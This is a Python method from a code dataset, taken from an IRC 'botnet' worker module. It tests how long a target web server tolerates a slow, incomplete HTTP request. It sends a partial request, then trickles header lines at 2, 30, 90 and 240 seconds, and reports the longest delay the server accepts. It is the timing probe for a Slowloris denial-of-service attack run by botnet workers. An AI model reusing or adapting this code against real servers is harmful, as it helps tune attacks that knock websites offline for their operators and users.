def slowloristest(self, host, port=None):
        port = port or 80
        times = [2, 30, 90, 240]
        delay = 0
        best = None
        
        try:
            conn = Conn(host, int(port), 5)
            conn.connect()
        except:
            return 'error connecting'
        
        query = '?%d' % random.randint(1, 9999999999999)
        payload = self.primary_payload % (query, conn.host)
        
        try:
            conn.send(payload)
        except socket.error:
            return 'error sending data'
        
        for interval in times:
            gevent.sleep(interval)
            
            try:
                conn.send('X-a: b\r\n')
            except:
                pass
            else:
                best = interval

        try:
            conn.send('Connection: Close\r\n\r\n')
        except:
            pass
        
        return 'use %d for timeout' % best
dataset/ETHPy150Open coleifer/irc/botnet/worker.py/WorkerBot.slowloristest/original